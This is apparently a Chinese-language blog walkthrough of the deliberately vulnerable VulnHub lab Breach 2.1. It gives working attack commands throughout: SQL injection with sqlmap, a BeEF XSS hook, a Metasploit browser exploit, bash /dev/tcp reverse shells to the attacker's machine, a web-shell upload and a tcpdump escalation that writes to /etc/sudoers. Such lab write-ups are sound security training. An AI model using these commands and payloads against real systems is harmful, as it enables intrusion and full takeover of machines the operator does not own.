-
✨ 准备工作
-
靶机 && kali 环境要求
机器名 网络配置 靶机 Breach-2_final2.1 仅主机模式 攻击机 kali 仅主机模式 -
靶机下载链接:Breach: 2.1 ~ VulnHub
-
打开
VMware
,将Breach-2_final2.1.ova
拖拽到VMware
中 -
设置
虚拟机名称(A)
-存储路径(P)
-导入
-
若是,提示出错,点击
重试
即可 -
启动虚拟机,等待安装完成
-
启动成功
-
右击靶机 -
设置
-
点击
网络适配器
将其设为仅主机模式
,并点击高级
,查看MAC地址 -
MAC 地址为:
00:0C:29:43:58:18
-
又因为其在描述中说明:靶机的静态IP为:
192.168.110.151
-
所以我们将
仅主机模式的网卡
设置192.168.110.0/24
段的 -
点击
编辑
-虚拟网络编辑器
-
选中
仅主机的网卡
- 点击更改设置(C)
(这里可以记录一下现在仅主机的网段,方便后面还原) -
确认后,打开如下页面,选中
仅主机的网卡
,将子网IP(I)
更改为192.168.110.0
-确定
-
重启靶机
-
kali就比较简单了,直接将其设为
仅主机模式
就可以了
-
☄️ 信息收集
-
既然我们已经知道靶机的IP是
192.168.110.151
了 ,那就不用扫描主机了 -
直接进行端口扫描:
nmap -sV -p- 192.168.110.151
-
发现其开放了
111,51356,65535
端口 -
经测试后发现在
ssh
服务中,给出了提示信息(账号,密码)ssh 192.168.110.151 -p 65535
# 账号: Peter # 密码: inthesource
-
使用获得的账号密码进行登录
ssh peter@192.168.110.151 -p 65535 # 密码: inthesource
-
发现登录成功后,又被断开了,看来是不想让我们轻易拿到 shell
-
暂时险入瓶颈,想着通过网页再看看剩余端口有没有变化时,输入靶机IP,居然有了一个页面
-
再用
nmap
扫一下,发现开放了一个80端口nmap -sV -p- 192.168.110.151
-
虽然有点怪,但不影响,我们继续;
-
🌠 获取shell
-
查看网站首页源码,并没有发现有用信息,转头进行目录扫描(这里我使用了
dirsearch
)dirsearch -u http://192.168.110.151
-
发现如下页面:192.168.110.151/blog/
-
对搜索框进行测试,发现其存在SQL注入
# 1' and 1=1 # http://192.168.110.151/blog/index.php?search=1%27+or+1%3D1%23 # 1' or 1=2 # http://192.168.110.151/blog/index.php?search=1%27+or+1%3D2++%23
-
先确认一下有哪些库
sqlmap -u "http://192.168.110.151/blog/index.php?search=1" --dbs --batch
-
发现2个特别的库,分别通过 Sqlmap 下载后发现,重要的数据在
oscommerce
中sqlmap -u "http://192.168.110.151/blog/index.php?search=1" -D oscommerce --dump --batch
-
在
oscommerce
下的osc_administrators.csv
中 发现了 用户账号和密码# 账号 admin # 密码(加密) 685cef95aa31989f2edae5e055ffd2c9:32
-
进行破解,得到
# 密码 32admin
-
结果尝试,虽然得到一个管理员的账户密码,但我们不知道是哪个服务的;先放一放,后面肯定会用到的;
-
回到 192.168.110.151/blog/ ,根据日常挖洞的经验,存在SQL注入的功能点是极大概率存在XSS漏洞
-
对搜索框进行 XSS 测试
<h1>11<h1>
-
发现确实存在 XSS 漏洞,不过是反射型的,因为我们无法令他主动点击我们的恶意链接,所以我们必须找个存储型的 XSS 漏洞
-
在首页刚好有个注册用的功能点,进行测试
-
输入
Username
,Password
和E-Mail
,点击注册
<script>console.log(1)</script> <script>console.log(2)</script> <script>console.log(3)</script>
-
按下
F12
,点击控制台
,寻找回显点,并且确认是哪个字段进行了回显(Username
,Password
和E-Mail
) -
看起来是
Username
会进行回显,那重点注入Username
即可 -
接下来
kali
使用beef - xss
来getshell
,更改 kali 的网络模式(非仅主机即可) -
,执行安装
beef -xss
的命令# 安装 beef-xss beef-xss # 安装提示(y/n),都选 y # 若是中途报错,则需要更新软件包列表后继续执行上面的命令 sudo apt-get update
-
安装完成后,再将
kali
的网络模式更改为仅主机模式
-
以管理员用户启动
beef-xss
(非管理员无法启动),设置密码,启动成功 -
ifconfig
查看kali
的 IP,因为是静态IP找到192.168.110.0/24
网段的 -
替换
<IP>
为kali 的 IP
<script src="http://<IP>:3000/hook.js"></script> # 例: <script src="http://192.168.110.128:3000/hook.js"></script>
-
回到注册页面 http://192.168.110.151/blog/register.html ,在
Username
处填入 修改后的恶意链接,点击Register
和Menmbers
-
回到 kali 访问 http://127.0.0.1:3000/ui/authentication , 进行登录(账号默认
beef
)# 登录页面 http://127.0.0.1:3000/ui/authentication # Username: beef # Password: 你设置的密码
-
登录成功,发现靶机已经上线了
-
点击查看,发现浏览器是
Firefox/15.0
版本(这里和后面执行都必须是Online的) -
打开 msf ,进行利用
# 确定 msf msfconsole # 搜索 EXP search firefox 15 # 使用 exploit/multi/browser/firefox_proto_crmfrequest use 12 # 查看需要设置的内容 show options # 设置 IP 为 kali的IP set LHOST 192.168.110.128 # 设置端口(也可以默认4444) set LPORT 555 # 运行 run
-
生成恶意链接,并复制下来
-
切换回网页,点击
靶机IP字段 - Commands - Misc - Create Invisible iframe - 写入上面生成的链接 - Execute
-
成功反弹到 shell (这里要等 箭头指的语句出现后再执行 )
-
执行以下命令,反弹shell
-
PS:这里
sessions -i ID
概率连不上而且会结束会话,到时候再点一下网页中的Execute
即可 -
若是试了很多次还是连不上,可以换个端口,无需使用
use post/multi/manage/shell_to_meterpreter
这类操作,因为我已经试过了,连不上的依旧连不上;# 新开一个终端进行监听 sudo nc -lvnp 666 # 另一个终端(MSF) # 按下回车键 # 查看会话ID sessions # 调用对应的会话 sessions -i 2 # 执行反弹shell的命令 /bin/bash -c '生成的语句' # 例: /bin/bash -c '/bin/sh -i >& /dev/tcp/192.168.110.128/666 0>&1'
-
这里进行做些工作,让
ssh
服务能够远程连接,方便我们的下次使用 -
查看
ssh
的配置文件sshd_config
文件,发现一个名字比较特殊的文件startme
cat /etc/ssh/sshd_config
-
查看文件内容和权限,发现是启动 Apache 服务的,且 root 用户才能修改
ls -l /usr/bin/startme
-
从其他方面下手,查看当前目录,发现了
.bashrc
文件(用户登录成功后加载的文件,但不是必须的) -
写入 shell ,将
.bashrc
原有内容覆盖 ,发现可以通过SSH
登录了# 使用 shell 覆盖原有内容 echo 'exec /bin/bash' > .bashrc # ssh 登录 ssh peter@192.168.110.151 -p 65535 # 密码 inthesource # 输入密码后需等一会儿后,按下 Ctrl+C 才能获得 shell Ctrl+C
-
💫 权限提升
-
查看可登录的用户,发现3个可登录的用户(
root,peter,milton
)grep '/bin/bash$' /etc/passwd
-
查看端口开放情况,在监听的端口中,发现了2个新开放的端口(2323,38612)
netstat -anlpt
-
经过测试,发现 2323 端口,可以使用
telnet
连接,并且通过坐标(29 45'46" N 95 22'59" W )
向我们提示了密码telnet 127.0.0.1 2323
-
查询坐标 世界地图纬度经度-在线 (aspose.app) ,
# 纬度 29.4546 # 经度 -95.383056
-
继续使用
telnet
登录,发现我们还要回答他的问题Whose stapler is it?
telnet 127.0.0.1 2323 # 用户名 milton # 地区(密码) Houston
-
查看后发现是
/usr/local/bin/cd.py
打印的grep -r "Whose stapler is it?" / 2>/dev/null
-
查看该文件,发现
stapler
是mine
的cat /usr/local/bin/cd.py
-
回到 telnet 登录界面,输入
mine
,得到一个新用户milton
mine
-
继续查看端口,发现又开放了 8888端口
netstat -anlpt
-
测试后发现是
http
服务,直接访问 Index of / ,发现如下界面 -
进行目录扫描,发现后台登陆点 Flair Store: osCommerce Administration Tool: Login 和目录遍历漏洞(这里包含了文件上传后的地址)
dirsearch -u "http://192.168.110.151:8888/oscommerce/"
-
使用前面获取到的账号 / 密码(去除32)登录成功
# 账号 admin # 密码 admin
-
并经过寻找,发现了文件上传的功能点 Flair Store: osCommerce Administration Tool: File Manager(
Tools - File Manager - includes - work - upload
) -
PS:为什么不选择其他上传点,因为在点击过程中发现的其他上传点,并没有上传的功能,点击了也只是会报错而已;
-
上传恶意文件
-
并通过刚才的目录遍历漏洞找到了上传的位置 Index of /oscommerce/includes/work/ ,点击后发现可以解析;
-
使用蚁剑连接,成功
-
查看权限后发现是又一个普通用户
-
进行反弹 shell 获得 交互式shell (因为前面生成过了,并且之前的 shell 我也不用了,这里就直接拿来用了)
# kali 监听语句 sudo nc -lvnp 666 # 执行反弹shell的命令 /bin/bash -c '生成的语句' # 例: /bin/bash -c '/bin/sh -i >& /dev/tcp/192.168.110.128/666 0>&1'
-
列出当前用户拥有
sudo
权限的命令sudo -l
-
发现拥有
sudo
权限的是tcpdump
,使用 Linux的辅助提权网站,辅助我们提权 GTFOBins ,输入tcpdump -
提示提权命令,更改后提权
# 命令 COMMAND='id' echo "blumbergh ALL=(ALL) NOPASSWD:ALL" >> /etc/sudoers # 临时文件(推荐.sh脚本文件) TF=$(mktemp) /tmp/com.sh # 写命令到临时文件中 echo "$COMMAND" > $TF echo 'echo "blumbergh ALL=(ALL) NOPASSWD:ALL" >> /etc/sudoers' > /tmp/com.sh # 添加执行权限 chmod +x $TF chmod +x /tmp/com.sh # 提权 sudo tcpdump -ln -i lo -w /dev/null -W 1 -G 1 -z $TF -Z root sudo tcpdump -ln -i lo -w /dev/null -W 1 -G 1 -z /tmp/com.sh -Z root
-
输入命令后等待(大概1分钟左右) 或 自动产生流量即可(在反弹的shell终端内执行
telnet 127.0.0.1 2323
)echo 'echo "blumbergh ALL=(ALL) NOPASSWD:ALL" >> /etc/sudoers' > /tmp/com.sh chmod +x /tmp/com.sh sudo tcpdump -ln -i lo -w /dev/null -W 1 -G 1 -z /tmp/com.sh -Z root # 提升权限 sudo su root
-
提权成功
-
附Falg位置:
/root/.flag.py
python /root/.flag.py
-
🌃 环境恢复 - Vmware 仅主机网段
-
目的:恢复修改过的网段,防止一些莫名其妙的问题
-
首先将正在使用的所有 虚拟机 挂起 或 关闭
-
点击
编辑 - 虚拟网络编辑器
, -
选中 仅主机 -
更改设置(C)
-
选中
仅主机 - 更改回原来的网段 - 确定
, -
恢复完毕
-
🌌 总结
- 流程:主机发现 - 信息收集 - Web渗透 - 获取shell - 权限提升
- 信息收集
- 端口扫描立大功,归功于靶机的脑洞比较大,访问特定服务后才会开启另一个服务,在今后的测试中也需要分阶段性地进行端口扫描;
- Web渗透
- 一般存在
SQL
注入 的功能点大多都存在XSS
漏洞,而且XSS漏洞既然存在就一定不止一个; XSS
漏洞(存储型)+ 浏览器漏洞 获取shell
,在靶机中比较少见,但也需要注意;- MSF 中要注意区分使用
session
和sessions
的命令,有时候多打一个s就浪费一上午时间; sshd_config
文件由于某些原因无法使用时,修改.bashrc
文件也是一种常见的思路;
- 一般存在
- PS:比较简单,但需要脑洞大开的一个靶机